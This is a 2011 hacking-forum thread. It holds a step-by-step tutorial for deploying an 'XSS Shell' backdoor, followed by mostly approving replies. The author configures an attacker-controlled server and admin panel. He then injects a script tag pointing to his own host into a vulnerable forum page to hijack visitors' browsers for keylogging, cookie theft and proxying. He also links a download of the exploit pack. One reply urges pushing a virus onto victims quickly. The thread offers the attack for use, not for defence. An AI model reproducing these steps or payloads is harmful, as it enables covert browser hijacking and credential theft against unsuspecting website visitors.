

Forum:[Hack Forums](#)

Thread: [\[TuT\] XSS - Tunnel // Control Victim via. XSS Scripts \[TuT\]](#)

TheUzuki.' - April 14, 2011, 1:47 pm

XSS - Tunnels

Please read this for overflowing everything !

1. MY GRAMMAR ISN'T GOOD ! SO IF YOU FIND MISTAKES PLEASE PM ME !

2. THIS ISN'T A TUTORIAL ABOUT NOOB STUFF !

IF YOU WANT TO BE A REAL HACKER AND IF YOU WANT TO LEARN SOMETHING READ THIS !

What is XSS - Tunneling ?

Quote: XSS Shell is a cross-site scripting backdoor into the victim's browser which enables an attacker to issue commands and receive responses. During a normal XSS attack an attacker only has one chance to control a victim's browser; however, the XSS Shell keeps the connection between the attacker and the victim open to allow the attacker to continuously manipulate the victim's browser. XSS Shell works by setting up an XSS Channel, an AJAX application embedded into the victim's browser, that can obtain commands and send back responses. To enable the XSS Shell an attacker needs to inject the XSS Shell's Javascript reference by utilizing a XSS flaw on a website. Once the victim's browser is infected with the XSS Shell and the XSS Channel is created, the attacker can issue instructions to the infected browser. Also, the Attacker can use a XSS Tunnel to transfer HTTP traffic through the XSS Channel and the victim's browser; in turn, exploiting the victim's credentials to bypass authentications and IP Restrictions. The XSS Tunnel is a HTTP Proxy that sits on an attacker's computer, and any tool that is configured to use it will tunnel its traffic through the XSS Channel.

What do I need ?

XSS - Tunnel Exploit Pack that you can [Download Here !](#) !

XSS Vulnarable Page

A Webhoster which supports .asp files

What can I do with an Exploited user ?

Send Commands to them // Keylog // MSGBOX

You can use their Computer as a Proxy. // Vic 5 Socks. !

Where are the disadvantages ?

The Victim is just useable for you if he stays in the Web Browser

Okay lets begin !

I Explain this Tutorial in steps so here you go:

1. We need a Webhost that Supports .asp Documents !
Just search one and set up a host.. thats all ;)

2. Downloade the XSS Shell.

Extract it to your desktop and open up xssshell.asp with Notepad++ or an other Editor.
Now we are scrolling down to the SERVER CONFIG Located on Lines 66 - 84.
But we are just going to edit the first line (72 !) just do this:

Code // You XSSShell Server

```
var SERVER = "http://www.xssshelltest.com:60000/";  
and replace this to:
```

Code // You XSSShell Server

```
var SERVER = "http://www.yourdomain.com/folder/";
```

3. Okay. Great that was the first step, now we are going to open up the folder ADMIN and we are going to edit the db file.

So just double click it.

As we see it's a .asp file too. So move to line 22/23 where it says:

Code '// DATABASE CONFIGURATION

```
Const DBPATH = "C:\XSS Shell\XSSShell-060\db\shell.mdb"
```

So we have to edit this again we must replace this

C:\XSS Shell\XSSShell-060

with our Hosting part.

To do that we are writing a little script which looks like this:

Code <%

```
Response.Write Server.MapPath(".")
```

```
%>
```

Save this as Check.asp and uploade it to your server.

Now navigae to this location and you will see something like this:

E:\User\YourAccName

So we are going to paste this into our db.asp file. This looks like this:

Code '// DATABASE CONFIGURATION

```
Const DBPATH = "E:\User\YourAccName\db\shell.mdb"
```

4. Save everything and uploade everythinhg to your Server.

5. The biggest part is down.

Now that we have setted up everything login to your admin panel.

Navigate your Web Browser to

www.yourdomain.com/folder/admin/Default.asp !

There you log in with the password
w00t

If you want to test if it is working you go to the sample_victim folder open up default.asp and you are going to edit the URL at line

98

Which we are just replacing by our own xssshell.asp location !

Now navigate to the sample_victim folder in your browser and open up the default file.

If you are now seeing the victim in your admin panel, everything works properly.

6. ;) Congrats you are now owning a XSS Shell Panel, but what you are doing with that ?
I will show you !

7. Okay I said you need a XSS Vulna. Site lets say we have got a Forum on a Wordpress Site which is XSS Vulna. so just include this script to the page.

Code `<script src="http://www.yourdomain.com/xssshell.asp"></script>`

8. Now if someone visits your post this script gets executed in his Server !

And you get Access to all his actions, and you can controll his server with the tools in the Admin Panel ?

You can also get cookies ;)

WELL THIS WAS PART ONE !

I AM GOING TO CONTINUE IF YOU LIKE IT WITH

"XSS - TUNNEL Vic. Sock 5 proxy HOW ?"

Happy hacking ?

Hooded Robin - April 14, 2011, 5:44 pm

Thanks for the script to find the actual location, been looking around for that for a while! I had been trying to set up the XSS shell for a while now and kept getting errors on the mapping of the access db file. I tried everything in hopes it work. Going to test out the script tomorrow, so thanks in advance.

PS - do you know the difference between the XSS Tunnel and the XSS Shell?

gomomo123 - April 14, 2011, 6:01 pm

Nice tutorial, will use it later

TheUzuki. - April 14, 2011, 10:10 pm

(Apr 14, 2011 06:01 PM)gomomo123 Wrote: [\[CITE\]](#) Nice tutorial, will use it later

Don't spam my thraed saying

"I use it later" please.

Dark_X - April 16, 2011, 2:30 am

Thanks For this..i have been looking for this =)

caosinf - April 16, 2011, 8:36 am

great tutorial thanks! I will try it right now

pgemshangout - April 16, 2011, 8:57 am

i will try it later.thankxx

rohail - April 16, 2011, 10:05 am

hay great tutorial i was looking for this.. thanks

GooseMonger - April 21, 2011, 6:03 pm

I'm about to sound like an idiot, so bear with me if you will.

I am having difficulty finding a webhost that I know will support .asp documents.

If anybody wanted to give me an example of a reliable one, it would be greatly appreciated.

@Rakeya - June 12, 2011, 6:48 pm

Can you set one up for me? I've tried for about 3 hours and i can't get the victim to show

BasketCase - June 12, 2011, 8:52 pm

Very helpful guide bro, thanks a lot.

TheUzuki.' - June 13, 2011, 1:44 am

(Jun 12, 2011 06:48 PM)rakeya Wrote: [\[CITE\]](#) Can you set one up for me? I've tried for about 3 hours and i can't get the slave to show

No. Sorry I have no time atm.

If you have some knowledge about php you should get along with this.

falcon6t - June 13, 2011, 2:35 am

Like a RAT but over a browser, I like it. Very nice tut. :)

TheUzuki.' - June 13, 2011, 2:40 am

(Jun 13, 2011 02:35 AM)falcon6t Wrote: [\[CITE\]](#) Like a RAT but over a browser, I like it. Very nice tut. :)

But you need a XSS Vul. Webpage to do this !

Good luck tting this ;)

@Rakeya - June 13, 2011, 4:08 am

ok, so i got it workin, now how come when i use keylogger it never records?

jaan777 - June 13, 2011, 5:00 am

hay great tutorial i was looking for this.. thanks

Rick Adam - June 13, 2011, 6:47 pm

wow thanks waiting for part 2

Daenerys Targaryen - June 15, 2011, 2:03 pm

This was exactly what I needed. Thx for this dude.

ShoopDaWhoop - June 15, 2011, 2:33 pm

Keep in mind everyone that they are constantly fixing these types of exploits. If you find an exploit,

DIRECTLY AND IMMEDIATELY try to let them download your virus or you WILL loose them

plxstar^ - June 15, 2011, 2:33 pm

who is the download for xss shell?

TheUzuki.' - June 15, 2011, 10:04 pm

(Jun 15, 2011 02:33 PM)plxstar^ Wrote: [\[CITE\]](#) who is the download for xss shell?
Here especially for you :)

<http://www.mediafire.com/?cm9jgba8ir7y3j6>

... and who should mean where

cyclone9276 - June 16, 2011, 6:06 pm

Nice tutorial, thanx... I will try it right now!

No??????? - July 10, 2011, 7:11 pm

Great tutorial, thanks for posting. :)

opx1230 - July 12, 2011, 7:42 am

Great tutorial, keep it up.

Thanks lol

Great Prosperity - September 14, 2011, 9:49 pm

This is a very nice tutorial. I will try it out sometime. Though i'm wondering how i'm going to be able to host the MSAccess database needed to connect. How can I change it to use mysql?

happyemo - September 15, 2011, 12:34 am

thank you for this tutorial guy :-)